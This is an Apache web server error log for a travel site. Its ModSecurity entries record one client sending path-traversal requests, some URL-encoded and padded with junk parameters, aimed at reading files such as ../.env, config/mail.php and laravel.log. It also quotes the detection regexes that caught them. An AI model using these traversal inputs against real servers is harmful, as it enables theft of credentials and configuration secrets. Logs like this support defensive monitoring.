[Fri Jul 17 08:55:05.246306 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.246627 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkaquHSHoCJK_V0SBNAAAABs"]
[Fri Jul 17 08:55:05.259626 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS-QAAAAM"]
[Fri Jul 17 08:55:05.259684 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS-QAAAAM"]
[Fri Jul 17 08:55:05.260921 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS-QAAAAM"]
[Fri Jul 17 08:55:05.261132 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.261462 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkRHlOGcokz2QIwTS-QAAAAM"]
[Fri Jul 17 08:55:05.267051 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNQAAABs"]
[Fri Jul 17 08:55:05.267108 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNQAAABs"]
[Fri Jul 17 08:55:05.268264 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNQAAABs"]
[Fri Jul 17 08:55:05.268438 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.268777 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkaquHSHoCJK_V0SBNQAAABs"]
[Fri Jul 17 08:55:05.272608 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?doc=..%2F..%2Fconfig%2Fmail.php&junk=lCiPaNb6feqt6WQJQXhE6_aTX9_26VXLrQ4yxahwxxwRVHzzpcfgGBYsi0HdC9tXG9owwokVBFzPn1YZde1vR1u5MgmdS4kt0NSq3O6HFd-WjcS1hroJ4cC1Udzk-0UXmGi8K88iDEClAnPXees_zUVNBf5IWo4qtJycTsq-OUUZdONb6LJ-qrKOMy0ytW0F3aeUxvNeMQQy6RsNxLL3aZmBHuR-Oli1JDJk8muF1dZfXesY0qx5Cz-85L2edoKIeryKfYjf00IavswXSUZ9UuGC&ts=ONXSPHYESWWAX5REOJAKC6JYZ4KVTTTEJOK6HVWZPMR2LS6JFGCTHHVL7TB2Z672IWMJ2ZG27G6TIJPVC3TBYFRWVN4OQFKCOHWD3L2FHFDP57ODX422DLJJNKQZBQKY6J2OC..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXgAAAB4"]
[Fri Jul 17 08:55:05.272676 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXgAAAB4"]
[Fri Jul 17 08:55:05.272730 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../config/mail.php&junk=lCiPaNb6feqt6WQJQXhE6_aTX9_26VXLrQ4yxahwxxwRVHzzpcfgGBYsi0HdC9tXG9owwokVBFzPn1YZde1vR1u5MgmdS4kt0NSq3O6HFd-WjcS1hroJ4cC1Udzk-0UXmGi8K88iDEClAnPXees_zUVNBf5IWo4qtJycTsq-OUUZdONb6LJ-qrKOMy0ytW0F3aeUxvNeMQQy6RsNxLL3aZmBHuR-Oli1JDJk8muF1dZfXesY0qx5Cz-85L2edoKIeryKfYjf00IavswXSUZ9UuGC&ts=ONXSPHYESWWAX5REOJAKC6JYZ4KVTTTEJOK6HVWZPMR2LS6JFGCTHHVL7TB2Z672IWMJ2ZG27G6TIJPVC3TBYFRWVN4OQFKCOHWD3L2FHFDP57ODX422DLJJNKQZBQKY6J2OCJFMICYT4DPDAHN..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXgAAAB4"]
[Fri Jul 17 08:55:05.272758 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../config/mail.php&junk=lcipanb6feqt6wqjqxhe6_atx9_26vxlrq4yxahwxxwrvhzzpcfggbysi0hdc9txg9owwokvbfzpn1yzde1vr1u5mgmds4kt0nsq3o6hfd-wjcs1hroj4cc1udzk-0uxmgi8k88ideclanpxees_zuvnbf5iwo4qtjyctsq-ouuzdonb6lj-qrkomy0ytw0f3aeuxvnemqqy6rsnxll3azmbhur-oli1jdjk8muf1dzfxesy0qx5cz-85l2edokierykfyjf00iavswxsuz9uugc&ts=onxsphyeswwax5reojakc6jyz4kvtttejok6hvwzpmr2ls6jfgcthhvl7tb2z672iwmj2zg27g6tijpvc3tbyfrwvn4oqfkcohwd3l2fhfdp57odx422dljjnkqzbqky6j2ocjfmicyt4dpdahn..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXgAAAB4"]
[Fri Jul 17 08:55:05.272791 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXgAAAB4"]
[Fri Jul 17 08:55:05.272827 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXgAAAB4"]
[Fri Jul 17 08:55:05.274104 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXgAAAB4"]
[Fri Jul 17 08:55:05.274268 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.274625 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkVCBpfuYyhJ140vSXgAAAB4"]
[Fri Jul 17 08:55:05.377208 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?doc=..%2F..%2Fstorage%2Flogs%2Flaravel.log&junk=5f_kohygLSPiDe7tu85VBxC7IJ3udrttDa_CwpLNELbucpeyhUIKd5nU2rYeVCNSZV9JGEkmzItO9CtIj61Jm5baK-ouct45p2OdU0l0_oTmD2PWGqvq5_YQV9m2_TQ2Qa90_kPoK1g29evJ87K87uNZ0RpFIW1nIk9UVRnN5sqyCghqfEsZ68mAsE0OfV4v52zhvI6C-ouayf1d3EsuAH9BOrOHTS0F2Q0-5_Lg0zT4u-HoH2Fyb3ksXQ2qffH9J10q3Yin5WycEYU0JI6MxZFj&cb=GNPEAWTO7K2WIVXRIU7GMOIV7UH3LD4XV375UHU2T56OCGKFWWPBS65LFLQQ3FDPYOWQGX4CEY3RJHUOQ6NUNVRQ45XB27ALZUFF2RY5CIIDUH6O6WA2RNBV7J..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeAAAABk"]
[Fri Jul 17 08:55:05.377268 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeAAAABk"]
[Fri Jul 17 08:55:05.377313 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../storage/logs/laravel.log&junk=5f_kohygLSPiDe7tu85VBxC7IJ3udrttDa_CwpLNELbucpeyhUIKd5nU2rYeVCNSZV9JGEkmzItO9CtIj61Jm5baK-ouct45p2OdU0l0_oTmD2PWGqvq5_YQV9m2_TQ2Qa90_kPoK1g29evJ87K87uNZ0RpFIW1nIk9UVRnN5sqyCghqfEsZ68mAsE0OfV4v52zhvI6C-ouayf1d3EsuAH9BOrOHTS0F2Q0-5_Lg0zT4u-HoH2Fyb3ksXQ2qffH9J10q3Yin5WycEYU0JI6MxZFj&cb=GNPEAWTO7K2WIVXRIU7GMOIV7UH3LD4XV375UHU2T56OCGKFWWPBS65LFLQQ3FDPYOWQGX4CEY3RJHUOQ6NUNVRQ45XB27ALZUFF2RY5CIIDUH6O6WA2RNBV7JWJ3NR5O6YC4VHRIH..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeAAAABk"]
[Fri Jul 17 08:55:05.377358 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../storage/logs/laravel.log&junk=5f_kohyglspide7tu85vbxc7ij3udrttda_cwplnelbucpeyhuikd5nu2ryevcnszv9jgekmzito9ctij61jm5bak-ouct45p2odu0l0_otmd2pwgqvq5_yqv9m2_tq2qa90_kpok1g29evj87k87unz0rpfiw1nik9uvrnn5sqycghqfesz68mase0ofv4v52zhvi6c-ouayf1d3esuah9borohts0f2q0-5_lg0zt4u-hoh2fyb3ksxq2qffh9j10q3yin5wyceyu0ji6mxzfj&cb=gnpeawto7k2wivxriu7gmoiv7uh3ld4xv375uhu2t56ocgkfwwpbs65lflqq3fdpyowqgx4cey3rjhuoq6nunvrq45xb27alzuff2ry5ciiduh6o6wa2rnbv7jwj3nr5o6yc4vhrih..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeAAAABk"]
[Fri Jul 17 08:55:05.377395 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeAAAABk"]
[Fri Jul 17 08:55:05.377440 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeAAAABk"]
[Fri Jul 17 08:55:05.378711 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeAAAABk"]
[Fri Jul 17 08:55:05.378859 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.379537 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkQ7FYe46zHK_jL3PeAAAABk"]
[Fri Jul 17 08:55:05.417407 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 